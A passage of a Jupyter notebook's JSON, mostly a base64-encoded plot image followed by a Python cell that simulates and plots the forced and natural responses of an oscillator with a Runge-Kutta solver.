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\nRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10faef8d0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x, Y = (rungekutta(forced(wn, qsi=0, force=lambda x : np.cos(x*5*np.pi/6.)), y0))\n", "plt.plot(x, Y[:,0], label='forced response')\n", "x, Y = (rungekutta(natural(wn, qsi=0), y0))\n", "plt.plot(x, Y[:,0], color=\"grey\", alpha=0.5, label='natural response')\n", "plt.title('System response when F(t) = 30 * cos(5pi/6 t)')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": 